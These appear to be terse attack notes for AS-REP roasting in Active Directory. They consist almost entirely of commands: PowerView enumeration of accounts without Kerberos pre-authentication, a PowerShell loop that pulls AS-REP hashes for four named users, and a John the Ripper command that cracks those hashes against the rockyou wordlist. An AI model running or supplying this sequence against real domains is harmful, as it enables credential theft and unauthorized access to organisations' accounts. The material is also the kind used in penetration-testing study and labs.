
Get-NetUser -PreauthNotRequired -Verbose

applying filters
Get-NetUser -PreauthNotRequired -Verbose | select cn,samaccountname

now scripting the users
$a = @("morgen.shina","peria.elisa","lorena.maxie","rois.germaine")
for($i = 0 ; $i -lt $a.Length ;$i++)
{
[string]::Format("Getting User {0} ASREPHash",$a[$i])
Get-ASREPHash -UserName $a[$i]
Write-Output "---------------------------"
}

cracking with john
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

